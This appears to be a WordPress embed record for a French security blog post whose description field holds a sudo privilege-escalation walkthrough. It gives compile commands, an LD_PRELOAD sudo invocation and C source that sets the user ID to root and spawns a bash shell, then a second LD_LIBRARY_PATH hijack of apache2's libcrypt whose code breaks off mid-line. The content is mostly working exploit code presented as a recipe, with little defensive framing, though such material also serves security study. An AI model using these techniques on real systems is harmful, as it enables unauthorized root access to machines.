{"version":"1.0","provider_name":"S\u00e9curiser votre site","provider_url":"https:\/\/www.searchevolution.com\/security","author_name":"Germain","author_url":"https:\/\/www.searchevolution.com\/security\/author\/germain\/","title":"Obtenir un shell root en modifiant les variables d'environnement sudo - S\u00e9curiser votre site","type":"rich","width":600,"height":338,"html":"<blockquote class=\"wp-embedded-content\" data-secret=\"6gciipL0zR\"><a href=\"https:\/\/www.searchevolution.com\/security\/2021\/07\/20\/variables-denvironnement-sudo\/\">Obtenir un shell root en modifiant les variables d&#8217;environnement sudo<\/a><\/blockquote><iframe sandbox=\"allow-scripts\" security=\"restricted\" src=\"https:\/\/www.searchevolution.com\/security\/2021\/07\/20\/variables-denvironnement-sudo\/embed\/#?secret=6gciipL0zR\" width=\"600\" height=\"338\" title=\"&laquo; Obtenir un shell root en modifiant les variables d&#8217;environnement sudo &raquo; &#8212; S\u00e9curiser votre site\" data-secret=\"6gciipL0zR\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" class=\"wp-embedded-content\"><\/iframe><script type=\"text\/javascript\">\n\/* <![CDATA[ *\/\n\/*! This file is auto-generated *\/\n!function(d,l){\"use strict\";l.querySelector&&d.addEventListener&&\"undefined\"!=typeof URL&&(d.wp=d.wp||{},d.wp.receiveEmbedMessage||(d.wp.receiveEmbedMessage=function(e){var t=e.data;if((t||t.secret||t.message||t.value)&&!\/[^a-zA-Z0-9]\/.test(t.secret)){for(var s,r,n,a=l.querySelectorAll('iframe[data-secret=\"'+t.secret+'\"]'),o=l.querySelectorAll('blockquote[data-secret=\"'+t.secret+'\"]'),c=new RegExp(\"^https?:$\",\"i\"),i=0;i<o.length;i++)o[i].style.display=\"none\";for(i=0;i<a.length;i++)s=a[i],e.source===s.contentWindow&&(s.removeAttribute(\"style\"),\"height\"===t.message?(1e3<(r=parseInt(t.value,10))?r=1e3:~~r<200&&(r=200),s.height=r):\"link\"===t.message&&(r=new URL(s.getAttribute(\"src\")),n=new URL(t.value),c.test(n.protocol))&&n.host===r.host&&l.activeElement===s&&(d.top.location.href=t.value))}},d.addEventListener(\"message\",d.wp.receiveEmbedMessage,!1),l.addEventListener(\"DOMContentLoaded\",function(){for(var e,t,s=l.querySelectorAll(\"iframe.wp-embedded-content\"),r=0;r<s.length;r++)(t=(e=s[r]).getAttribute(\"data-secret\"))||(t=Math.random().toString(36).substring(2,12),e.src+=\"#?secret=\"+t,e.setAttribute(\"data-secret\",t)),e.contentWindow.postMessage({message:\"ready\",secret:t},\"*\")},!1)))}(window,document);\n\/* ]]> *\/\n<\/script>\n","description":"On peut injecter du code lors de l&#8217;ex\u00e9cution d&#8217;une commande avec sudo en modifiant les variables d&#8217;environnement LD_PRELOAD ou LD_LIBRARY_PATH gcc -fPIC -shared -nostartfiles -o \/tmp\/preload.so \/home\/user\/tools\/sudo\/preload.c On peut obtenir un root shell en ex\u00e9cutant un programme que l&#8217;on peut ex\u00e9cuter avec sudo de cette fa\u00e7on sudo LD_PRELOAD=\/tmp\/preload.so program-name-here preload.c #include &lt;stdio.h&gt; #include &lt;sys\/types.h&gt; #include &lt;stdlib.h&gt; void _init() { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unsetenv(&quot;LD_PRELOAD&quot;); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setresuid(0,0,0); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;system(&quot;\/bin\/bash -p&quot;); } Une deuxi\u00e8me fa\u00e7on d&#8217;obtenir un root shell ldd \/usr\/sbin\/apache2 (apache2 utilise libcrypt.so) gcc -o \/tmp\/libcrypt.so.1 -shared -fPIC \/home\/user\/tools\/sudo\/library_path.c sudo LD_LIBRARY_PATH=\/tmp apache2 library_path.c #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; static void hijack() __attribute__((constructor)); void hijack() { &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unsetenv(&quot;LD_LIBRARY_PATH&quot;); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;setresuid(0,0,0); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;system(&quot;\/bin\/bash"}